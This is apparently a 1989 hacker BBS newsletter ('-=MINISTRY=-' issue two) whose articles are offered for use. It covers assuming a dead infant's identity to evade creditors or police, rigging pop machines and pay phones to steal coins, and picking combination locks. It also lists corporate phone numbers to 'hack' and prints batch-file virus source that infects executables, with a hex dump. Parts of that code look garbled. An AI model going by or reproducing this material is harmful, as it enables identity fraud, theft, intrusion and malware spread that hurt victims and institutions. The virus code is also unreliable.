##################################### + /## T h e W o r d O f G o d ## + |/## A -=MINISTRY=- Production ## +++++ |/## Hotel Chelsea - Rocky Horror ## + |/## Fungus Land - Malignant ## + |/## Growth ## + |/## Ulterior Motives - Rafe Zetter ## + |/##+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+## + |/## ## /#########|/##################################### |/## Issue |///////////////////////////////////// |/## Number ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |/## ------ TWO (2) ## |/## NOVEMBER 1989 ## |/######################### |////////////////////////// ~~~~~~~~~~~~~~~~~~~~~~~~~~ ---------------------------------------------------------------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Okay everybody. We actually made it to a second newsletter!! Well, a lot of people congratulated us on our first newsletter and it wasn't even that great!! Well, this one will definitely be better folks. trust me on that one. We are accepting people into MINISTRY now. Call one of the Boards listed above (all /Wasea/ and available on your local pirate board) and either fill out an application, or ask the sysop. We will ask a few questions, check with everyone else in the group, and then give you our answer. We will also be inviting special people into the group. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --------------------------------------------------------------------------- // / || | || | /||-| OW TO CHANGE YOUR IDENTITY FOR GOOD (AND NOT GET CAUGHT!) || | // / So you want to change your identity huh? You "forgot" to pay the loan shark? You "accidentally" went into a bank with a gun and took all the money? Well, here's some good ways of disguising yourself as a real person, and not get found by people, relatives, friends, private detectives, etc... First of all, MOVE to a different city and state. Preferably, one where you know NO ONE!!! You could accidentally meet a friend in a city where lots of people lived and all it takes is one friend to spread the word. Second, REMOVE or DISGUISE any special characteristics that pull you apart from the crowd. Blend in well. Third, go to the Social Security or Dept. of Records. Search Death certificates until you find a baby that died VERY soon after it was born. Then pay the $10 or so for the BIRTH certificate for that person. With that birth certificate, you are eligible to obtain a voter's registration card. With these two pieces of identification, you may get a social security card. With those 3, you can get a driver's liscense. You are home free from there. Fourth, if you have any HOBBIES, try to keep them PRIVATE. Many people get caught because they were on page 24 of 'The Fishing Home Journal' or something. Fifth, Unlisted numbers. This won't keep a persistent person away for long, but it will keep away unwanted individuals without the reSOURCES to get such information. That should pretty much keep you from being caught. Again, I cannot stress how much you should REMAIN QUIET AND KEEP A LOW PROFILE. Don't run for governor or anything. Sam Hain / Rocky Horror A -=MINISTRY=- Production ---------------------------------------------------------------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SCAM #1 -------- You need some ideas. School has started and you have nothing to show for it. Now, it gets boring after a while, but school is only as much fun as you make it to be. Here are some ways to have fun and get RICH! +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ POP MACHINES: If you have an older or used pop machine, then this will work. Otherwise, beat it until it does. You need to find any button on the machine that will push in and move to one of the sides and stay stuck behind it (an un-noticable amount.) Then stand back. People will put money in and push their favorite pop button, but nothing will come out but the button you have stuck. If the button you moved was out (the little light was on,) then it will not give them anything and they will not be able to get their money back. When they go to tell some janitor or something is your chance to go fix the button, coin return, and change galoure!!! PAY PHONE: Peel back the rubber cover that goes from the wire to the handset (located right belkow the mouthpiece.) Take your wirecutters and snip then red wire. Peel it away so it does not touch itself. fix cover and leave. Next day, come back and touoch the wires together. Depending on how many people used (or tried to use) the payphone depneds on how much money you get back! Do it before a big football game or a dance. ----------------------------------------------------------------------- PICKING LOCKS: [>This is originally taken from PHRACK #1<] Picking MASTER Combination Locks To pick MASTER locks (and I am wondering if lockers work on the same principal...) you must go through THREE (3) steps. [STEP 1> Pull on the horseshoe shaped "handle." Hard enough so that the knob moves roughly, but still moves. Then turn the knob to the left until it won't move anymore. Add -5- to this number. Congrats on getting the first number! [STEP 2> Spin the dial to the left a few times until you get to the 1st number. Then turn right until you come to the 1st number again. Pull up on the handle and turn. If it stops, then try to see if it is stuck good or just clicking. If it is locked there, then you have the 2nd number!! [STEP 3> Spin a few to clear and go right to the first number, then around once and then to the 2nd number. then go opposite direction pulling up once at each number. Eventually it will pop open! It takes practice so keep trying! ----------------------------------------------------------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Really Fun Numbers to Hack: --------------------------- Easy Link |(800)/325-4112 CitiBank |(800)/223-3312 RCA |(800)/526-3714 General Motors |(800)/685-6790 Xerox |(800)/828-6321 Ford |(800)/521-4120 Alcohol, Tobacco, and Firearms |(800)/523-0677 AutoNet |(800)/225-8456 ---------------------------------------------- - - (Originally Printed in P/HUN ]I[ - Toll Center BBS (718)358-9209) - - How to write a VIRUS using BATCH files. - - Rewritten by Sam Hain for -=Ministry=- - - This virus will only attack .EXE files. After the execution you will see a .INH file which contains the directory, and the file %SORT.EXE. Programs which start with '%' are NOT infected and pose as backups... This virus is written in 3 .BATch files.one does the actual DOS commands, while hte other two help to write the virus itself and spread it. The system MUST have DEBUG and EDLIN on the disk to work correctly. FILE #1: Name : VR.BAT echo off }turns echo off ctty nul }turns console output off path c:\dos }may be different on the system infecting dir *.com/w>ind }the Dir is written on "ind" ONLY files edlin ind<1 }"IND" is processed with EDLIN debug<2 }new batch prgm is created with debug edlin name.bat<3 }this batch goes EXE because of EDLIN ctty con } console interface once again on name }newly created NAME.BAT is called FILE #2: Name:1 1,4d }lines 1-4 of IND file are erased e }saves file to disk FILE #3: Name:2 m100,10b,f000 e108 ".BAT" m100,10b,f010 e100"DEL " }This does all the debug stuff mf000,f00b,104 e10c 2e e110 0d,0a mf010,f020,11f e112 "COPY \VR.BAT" e12b od,0a rxc 2c nname.bat w q FILE #4: Name:3 ---------THIS FILE MUST BE PRINTED AS A HEX DUMB BECAUSE IT CONTAINS TWO CONTROL CHARACTERS AND THIS IS NOT ENTIRELY PRINTABLE----------- 0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 1 , 1 ? . . N Y Y Y Y Y Y Y 0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79 Y . 2 , ? ? R . . N N Y Y Y 0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00 Y Y Y Y . E . . . . . . . . . In order for this virus to work, VR.BAT should be in the root Directory. Possibly have it move itself there when run. ------------------------------------------------------------------ Well, That's about it for this issue. Next month, be looking out for the -=Ministry=- Annoyance Dialer. Very good for people whom you aren't very happy with. Also! -=Ministry=- BBS program is coming out soon. NOT another FORUM-PC clone either. Hotel Chelsea is down temporarily until I can find a GOOD bbs program to run. Preferably with Networking built in, but not necessary. Please upload it to either ULTERIOR MOTVIES (who is also down due to a virus or something screwing witht he FAT table) or FUNGUS LAND. Get the numbers off of your local boards. BY THE WAY - I downloaded from a board the other day, a program that had billions and billions of pirate board numbers. Mine included (when we pirated.) I can't believe anyone would do this. If just ONE person got ahold of it who didn't believe in it, imagine the busts... It's like, PHRY CODE PLUS. All these do-gooder PcPursuit users were uploading it on the support system. Not cool guys. I still need some people to give me some good stuff for December. I'll take whatever you can write. Sam Hain (1989) Ministry Publications a Division of -=MINISTRY=- Infiltration Corps